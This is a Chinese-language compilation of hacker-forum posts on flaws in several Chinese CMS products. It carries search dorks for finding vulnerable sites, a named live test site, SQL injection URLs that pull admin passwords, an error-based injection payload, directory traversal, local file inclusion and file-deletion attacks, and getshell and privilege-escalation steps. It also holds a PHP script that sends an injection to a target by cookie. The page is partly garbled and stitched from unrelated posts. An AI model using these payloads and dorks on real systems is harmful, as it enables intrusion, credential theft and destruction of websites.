小编在这里给大家带来华易地方门户系统 4.6 漏洞(共含10篇),希望大家喜欢!同时,但愿您也能像本文投稿人“昭胤”一样,积极向本站投稿分享好文章。
简单是说说,/。主要是数据库没被处理!!导致可以写入一句话!
Google:问答 inurl:wen.asp
直接注册个会员!再修改个人资料!4项都写入内容处插入一句话 ┼}诞整超∨≡┩鳎连接数据库 地址:date/date.asp
欢迎!注意:请写明转载人! 原创人:狂人KK
先看后台登录验证文件:
文件代码:admin/index.asp
<%dbs=“../”%>
<%
if session(“adminid”)“” and session(“adminuser”)“” Then
response.Redirect “main.asp”
response.End
end if
action=request.QueryString(“action”)
if action=“login” then
nick=request.Form(“nick”)
Password=request.Form(“Password”)
if nick=“” then
response.Write “”
response.end
end if
if Password=“” then
response.Write “”
response.end
end if
nick=replace(trim(nick),“'”,“”)
password=replace(trim(Password),“'”,“”)
in_safe_admin=replace(trim(in_safe_admin),“'”,“”)
Password=md5(md5(Password))
set rs=Server.CreateObject(“Adodb.Recordset”)
sql=“select * from H_admin where adminuser='”&nick&“' and adminpass='”&Password&“'”
rs.open sql,conn,1,1
if not rs.bof then
session(“adminid”) = rs(“id”)
session(“adminuser”) = rs(“adminuser”)
response.Write “”
response.end
else
response.Write “”
response.end
end if
rs.close
end if
nick=replace(trim(nick),“'”,“”)
password=replace(trim(Password),“'”,“”)
in_safe_admin=replace(trim(in_safe_admin),“'”,“”)这里过滤了单引号,明显万能密码'or'='or'不存在了
看了下其他文件注入没得(也许是自己菜,没找到,呵呵)
我们去看下conn.asp这个文件,文件如下:
<%
'On Error Resume Next
'--Access 数据库连接--
scadb=dbs&“date/date.asp” 'dbdns 为各文件中设置的路径,请不要改动
conndata=“Provider=Microsoft.Jet.OLEDB.4.0;Data Source=”&Server.MapPath(“”&scadb&“”)
If IsObject(Conn) = false Then
set conn = Server.CreateObject(“ADODB.Connection”)
conn.Open conndata
end if
H_Version=3.6
%>
看到问题了嘛,他把'On Error Resume Next
给注释了,存在爆库,
图片如下:
爆库漏洞危害很大的哦,亥就是管理员的粗心啊,官方也存在,请大家不要搞破坏
总结下:其他鸡肋漏洞
后台:admin/index.asp
数据库: datedate.asp datehydate.mdb
给个关键字:inurl: quantext_read.asp?
作者:疯子
今天无聊想找个CMS挖看看,
就在A5找到 dircms
商业版那个叫贵吖。又不安全,不知道是不是就一个程序员,一个客服的小公司。
挖到一个遍历目录
貌似还有地方可以拿shell晚上回家测试
刚刚百度,乌云貌似是12号有提交
不过还没有公开所以不算抄袭,
测试网站:www.tengzhou0632.com
先注册会员
然后打开EXP:Madman.in/api/upload/index.php?action=list_image&objid=image_api_image&dir=9d4c2f636f067f89../../../../
然后目录就全部爆出来了,喜欢的自己下载源码去研究。有免费版的。
下载地址:down.chinaz.com/soft/27402.htm
关键字inurl: efwmanager ;inurl:search_hire.asp; (inurl:sub_hack.asp?这个关键字有点多)
影响版本:未知
漏洞文件:search_sell.asp;search_hire.asp;search_buy.asp conn.asp
描述:这个系统是一个房屋交易,租赁的系统,
停网了。没事下了套源码看看。通过Macromedia Dreamweaver搜索request( 发现并没有过滤布严的漏洞。存在的也只是存在整数溢出没什么利用价值。翻了好久发现了search_hire.asp这个文件,存在代码如下:
<%
dim search,search_qy,search_lx,search_hx,search_zj,search_mj_min,search_mj_max,search_jg_min,search_jg_max
search_qy=request(“search_qy”)
search_lx=request(“search_lx”)
search_hx=request(“search_hx”)
search_zj=request(“search_zj”)
search_mj_min=trim(request(“search_mj_min”))
search_mj_max=trim(request(“search_mj_max”))
search_jg_min=trim(request(“search_jg_min”))
search_jg_max=trim(request(“search_jg_max”))
search=“”
if request(“search_qy”)“” then
search=search & “and qy=” & request(“search_qy”) & “”
end if
if request(“search_lx”)“” then
search=search & “ and wylx=” & request(“search_lx”) & “”
end if
if request(“search_hx”)“” then
search=search & “ and hx=” & request(“search_hx”) & “”
end if
if request(“search_zj”)“” then
search=search & “ and zj=” & request(“search_zj”) & “”
end if
这个是个搜索文件,
在头文件里也并没有防注入,这个我就不说明了。漏洞很明显,没有过滤各种字符,导致了存在跨站和注入。我们需要的是密码和账号,那么下面就来构建注入地址:sniff3r/search_hire.asp?pageno=1&search_lx=&search_hx=&search_zj=&search_mj_min=&search_mj_max=&search_jg_min=&search_jg_max=&search_qy= 搜索型的注入语句就不写了。可以直接抛到Pangolin3.0里跑出来。存在表段admin 字段username; userpassword爆出了管理员账号密码 ,后台:efang /efwmanager/index.asp 后台拿Shell的方法很简单,由于上传文件存在漏洞,直接访问efwmanager/admin/Upfile_Photo.asp用明小子上传就可以了。这个程序另外有有一个漏洞文件为conn.asp链接文件(本程序存在俩个Conn.asp )2个连接文件里的Conn.asp代码都少了on error resume next这句代码 存在暴库。直接将二级目录的/ 转换成%5C 或者直接访问爆出数据库然后写进迅雷下载 。下载回来的数据库是有密码的,加密方式很简单。用accesskey等工具破解就可以了
其他的漏洞暂时没有发掘出来。有不对的地方请指出来。另外写出另外俩个文件的利用字符
search_sell.asp文件:漏洞字符
sniff3r/search_sell.asp?pageno=1&search_lx=&search_hx=&search_zj=&search_mj_min=&search_mj_max=&search_jg_min=&search_jg_max=&search_qy=
search_buy.asp文件:漏洞字符:
sniff3r/search_buy.asp?pageno=1&search_qy=&search_hx=&search_zj=&search_mj_min=&search_mj_max=&search_jg_min=&search_jg_max=&search_lx=
再提供几个参考后台:system/manage.asp /system/index.asp /efwmanager/index.asp
sub_hack?这个关键字是网上差不多的一个系统。这个文件过滤不严,同样存在漏洞。就不多说了。利用起来差不多。用Pangolin配合明小子(用4.2)的可以。
华讯网络管理系统存在SQL注入,可获取管理员用户密码信息,
关键字:inurl:chk_case.asp
漏洞测试:
www.site.com/chk_case.asp?ID=673%20union%20select%201,2,3,4,5,6,7,8,9,10,11,12,13,14,admin,16,17,18,19,20,userpassword,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41%20from%20admin
默认后台:
www.site.com/admin/
来自坏狼安全网
这个漏洞对于动易网站管理系统来说,就是致命的了,
此漏洞存在于User目录下的User_saveflash.asp文件中,其第6~22行代码如下所示。
Dim act, ObjInstalled_FSO, color_name, Create_1, imgurl, SaveFileName, dirMonth
objName_FSO = Application(“objName_FSO”)
ObjInstalled_FSO = IsObjInstalled(objName_FSO)
If ObjInstalled_FSO = True Then
Set fso = Server.CreateObject(objName_FSO)
Else
Response.Write “&&SendFlag=保存 >>> NO”
Response.end
End If
act = trim(request(“act”))
//这里是关键
If act=“” Then
Call Main
Else
Call CoverColorFile()
//如果act不为空,则调用CoverColorFile()函数
End If
set fso = Nothing
下面我们一起来看看函数CoverColorFile()的代码。
Sub CoverColorFile()
//此函数用于生成图像BMP文件
Dim whichfile, head, Colortxt, i, rline, badwords
//注意whichfile变量
Response.Expires = -9999
Response.AddHeader “Pragma”,“no-cache”
Response.AddHeader “cache-ctrol”,“no-cache”
Response.ContentType = “Image/bmp”
//输出图像文件头
head = ChrB(66) & ChrB(77) & ChrB(118) & ChrB(250) & ChrB(1) & ChrB(0) & ChrB(0) & ChrB(0) &_
ChrB(0) & ChrB(0) & ChrB(54) & ChrB(0) & ChrB(0) & ChrB(0) & ChrB(40) & ChrB(0) &_
ChrB(0) & ChrB(0) & ChrB(172) & ChrB(0) & ChrB(0) & ChrB(0) & ChrB(130) & ChrB(0) &_
ChrB(0) & ChrB(0) & ChrB(1) & ChrB(0) & ChrB(24) & ChrB(0) & ChrB(0) & ChrB(0) &_
ChrB(0) & ChrB(0) & ChrB(64) & ChrB(250) & ChrB(1) & ChrB(0) & ChrB(0) & ChrB(0) &_
ChrB(0) & ChrB(0) & ChrB(0) & ChrB(0) & ChrB(0) & ChrB(0) & ChrB(0) & ChrB(0) &_
ChrB(0) & ChrB(0) & ChrB(0) & ChrB(0) & ChrB(0) & ChrB(0)
Response.BinaryWrite head
whichfile=trim(request(“color_url”))
// whichfile由用户提交的color_url而来
Set Colortxt = fso.OpenTextFile(server.mappath(whichfile),1)
//以只读方式打开用户提交的变量whichfile,这里取得的是文件
rline = Colortxt.ReadLine //读取文件一行
badwords = split(rline,“”) //以“”作分隔
Colortxt.Close
fso.deleteFile(server.mappath(whichfile))
//这句就是漏洞了,此句的作用是删除文件,
由于whichfile由用户提交而来,又没有经过任何安全处理,所以便构成漏洞了。如果我们让 color_url=../conn.asp,那么就直接删除conn.asp文件了,同样,我们可以让color_url为站内任一文件,最后,我们可以删除全站的文件。
for i=0 to UBound(badwords)
Response.BinaryWrite to3(badwords(i))
next
End Sub
有了上面的漏洞,我们就一起去测试一下 ,看看是否存在此漏洞吧。打开官方演示网站,如图1所示,我们就以动易的Logo作测试吧。查看其路径,发现在images目录下,名为logo.gif,
现在,我们注册一个用户,然后进入会员中心,在URL处填入:。
成功提交之后,返回到首页,现在我们可以看到,官方仍然存大此重大漏洞。官方logo.gif处变成了一个红叉,说明已被删掉。
解决办法为最好不要从外部接收数据,要么就删除代码:fso.deleteFile(server.mappath(whichfile))
易通企业网站系统最新注入漏洞,
注入EXP:
www.xxx.com/celive/js/include.php?cmseasylive=1111&departmentid=0
直接放Havij里面跑,
错误关键字:online.gif
添加表名:cmseasy_user
列表:userid,username,password
百度关键字:Powered by CmsEasy
中易广告联盟系统(ZYADS) sql注入和本地包含漏洞
在index/news.php 1-31行include_once(“top.php”);
$newsid = intval($_GET['id']);
$to_type = addslashes($_GET['type']);
if ($to_type=='index')
{
$to_type_s =“ and to_type=1”;
}
if ($to_type=='webuser')
{
$to_type_s =“ and to_type!=3”;
}
if ($to_type=='webadver')
{
$to_type_s =“ and to_type!=2”;
}
$newssql = 'select * from zyads_news WHERE `id` ='' . $newsid . ''
'.$to_type_s.'';
$newsre=$db->query($newssql);
$newsrow = $db->fetch_array($newsre);
if (empty($newsrow)){
zyads_message('zyads_news');
}
?>
可以看到$to_type没定义或者不等于index,webuser,webadver的话 那么$to_type_s是没有定义的
这时候我们就可以提交一个$to_type_s变量来进行sql注入,简单的注入,呵呵。
在/code/adview_cpa_html.php 1-46行
/*********************/
/* */
/* Version : 5.1.0 */
/* Author : RM */
/* Comment : 071223 */
/* */
/*********************/
_obfuscate_JQYdYn1jfBI( );
define( “IN_ZYADS”, TRUE );
$name = $_GET['name'];
$adid = $_GET['adid'];
$offsetwidth = $_GET['offsetwidth'];
$site = $_GET['site'];
$click_url = “www.erzhi.cn”;
$count_url = “www.erzhi.cn”;
if ( empty( $name ) || empty( $adid ) || empty( $site ) )
{
exit( “广告出错” );
}
@require( “../user/c/”.$name.“/user_info.php” );
require( “../include/soft_class.php” );
require( “../include/settings.php” );
$code = new _obfuscate_Y2xpZW50( );
$getip = $code->_obfuscate_Z2V0aXA( );
$getbrowse = $code->_obfuscate_Z2V0YnJvd3Nl( );
$getos = $code->_obfuscate_Z2V0b3M( );
$maketime = time( ) + $setting['zyads_date'] * 3600;
$maketime = $maketime;
$strbas = $code->_obfuscate_cGFzc3BvcnRfZW5jcnlwdA(
$getip.“|”.$maketime.“|”.$getbrowse.“|”.$getos, $setting['url_pwd'] );
$strbas = _obfuscate_IGI7aGd_LDRuMD0VZg( $strbas );
if ( $zyads_users['flag'] != 2 )
{
echo “document.write('帐号被锁定');”;
exit( );
}
if ( _obfuscate_Cx96BhhwZxABPA8( “../cache/cpa/”.$adid.“.php” ) )
{
require( “../cache/cpa/”.$adid.“.php” );
}
else
{
exit( “文件丢失-”.$adid.“.php” );
}
$name,$adid这两个变量都能造成本地包含漏洞
不过$adid好利用点,
exp:/code/adview_cpa_html.php?name=admin&adid=../../index&site=www.xxx.com
最后附上一个exp,只是简单的cookie提交参数 为了隐蔽点 呵呵
//by q1ur3n
//team: www.wolvez.org
//exp : zyads.php?site=www.tx8688.com&id=and 1=2 union select 1,2,3,4,5,6%23
//敏感信息表信息:
/*
DROP TABLE IF EXISTS zyads_admin;
CREATE TABLE zyads_admin (
id int(11) NOT NULL auto_increment,
username varchar(20) NOT NULL,
pwd varchar(50) NOT NULL,
login_num int(11) NOT NULL,
last_time datetime DEFAULT '0000-00-00 00:00:00' NOT NULL,
islock int(1) NOT NULL,
ip varchar(20) NOT NULL,
admin_flag varchar(200) NOT NULL,
addtime datetime NOT NULL,
PRIMARY KEY (id)
);
*/
$host = $_GET['site'];
$cmd='to_type_s='.urlencode(stripcslashes($_REQUEST[“id”]));
$message = “GET /index/news.php?id=89 HTTP/1.1 ”;
$message .= “Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-
shockwave-flash, */* ”;
$message .= “Referer: www.baidu.com/ ”;
$message .= “Accept-Language: zh-cn ”;
$message .= “Content-Type: application/x-www-form-urlencoded ”;
$message .= “User-Agent: Mozilla/4.0 (compatible; MSIE 6.00; Windows NT 5.1; SV1) ”;
$message .= “Host: $host ”;
$message .= “Connection: Close ”;
$message .= “Cookie: ”.$cmd.“ ”;
//echo $message;
$fp = fsockopen($host, 80);
fputs($fp, $message);
$resp = '';
while ($fp && !feof($fp))
$resp .= fread($fp, 1024);
echo $resp;
fclose($fp);
?>
刚打开红黑看到J8基友写的一个{易想团购系统 最新版 通杀}的文章,看他贴的代码里面有个get_client_ip函数,哈哈,我猜没过滤,果断下了一套程序,
找到get_client_ip()函数。
// 获取客户端IP地址function get_client_ip(){ if (getenv(“HTTP_CLIENT_IP”) && strcasecmp(getenv(“HTTP_CLIENT_IP”), “unknown”)) $ip = getenv(“HTTP_CLIENT_IP”); else if (getenv(“HTTP_X_FORWARDED_FOR”) && strcasecmp(getenv(“HTTP_X_FORWARDED_FOR”), “unknown”)) $ip = getenv(“HTTP_X_FORWARDED_FOR”); else if (getenv(“REMOTE_ADDR”) && strcasecmp(getenv(“REMOTE_ADDR”), “unknown”)) $ip = getenv(“REMOTE_ADDR”); else if (isset($_SERVER['REMOTE_ADDR']) && $_SERVER['REMOTE_ADDR'] && strcasecmp($_SERVER['REMOTE_ADDR'], “unknown”)) $ip = $_SERVER['REMOTE_ADDR']; else $ip = “unknown”; return($ip);}
果然没过滤,看了下很多地方用到这个函数。
比如
if($_REQUEST['act'] == 'verify'){ $id = intval($_REQUEST['id']); $user_info = $GLOBALS['db']->getRow(“select * from ”.DB_PREFIX.“user where id = ”.$id); if(!$user_info) { showErr($GLOBALS['lang']['NO_THIS_USER']); } $verify = $_REQUEST['code']; if($user_info['verify'] == $verify) { //成功 $_SESSION['user_info'] = $user_info; $GLOBALS['db']->query(“update ”.DB_PREFIX.“user set login_ip = '”.get_client_ip().“',login_time= ”.get_gmtime().“,verify = '',is_effect = 1 where id =”.$user_info['id']); $GLOBALS['db']->query(“update ”.DB_PREFIX.“mail_list set is_effect = 1 where mail_address ='”.$user_info['email'].“'”); $GLOBALS['db']->query(“update ”.DB_PREFIX.“mobile_list set is_effect = 1 where mobile ='”.$user_info['mobile'].“'”); showSuccess($GLOBALS['lang']['VERIFY_SUCCESS'],0,APP_ROOT.“/”); }
团购系统嘛,其实不用看代码,登陆的这些地方必定会用这个函数,
果断的,登陆的时候在http头里面加了个client_ip,值为127′
看图:
报错注入,很简单吧,
exp:
火狐插件增加client_ip
值为
‘ and (select * from (select count(*),concat(floor(rand(0)*2),(select user()))a from information_schema.tables group by a)b)#
这套程序用的thinkphp的框架,待会看看有没有代码执行。。。。
易通企业网站系统(cmseasy) 注册用户在更新资料时和本地构造groupid表单(判断管理员权限 为888即为管理员),可直接拿提升为管理权限,后台多处可以getShell,只要开放注册通杀
详细说明:漏洞文件在table.php中的sql_update($tbname,$row,$where) 函数
function sql_update($tbname,$row,$where) {
$sqlud='';
if (is_string($row))
$sqlud=$row.' ';
else
foreach ($row as $key=>$value) {
if (in_array($key,explode(',',$this->getcolslist()))) {
$value=addslashes($value);
if (preg_match('/^[(.*)]$/',$value,$match))
$sqlud .= “`$key`”.“= ”.$match[1].“,”;
elseif ($value === “”)
$sqlud .= “`$key`= NULL, ”;
else
$sqlud .= “`$key`”.“= '”.$value.“',”;
}
}
$sqlud=rtrim($sqlud); www.jb51.net
$sqlud=rtrim($sqlud,',');
$this->condition($where);
$sql=“UPDATE `”.$tbname.“` SET ”.$sqlud.“ WHERE ”.$where;
return $sql;
}
循环遍历POST 值 然后直接写入数据库更新 导致用户可以自定义权限判断字段
权限提升漏洞
漏洞证明:注册用户名
编辑资料
得到管理权限(ps: 后台超炫)
GetShell
修复方案:
不要把前台用户和普通会员放到一个表,任意权限提升, 取消table.php 中的函数sql_update 函数 或做出相应过滤 ,
易通企业网站系统(cmseasy) 权限提升的方法及getShell通杀漏洞的介绍
,
可以暂时先关闭注册
作者 CodePlay 【
★ 门户网站广告语
★ udev漏洞提升
★ 漏洞整改报告
★ 华成语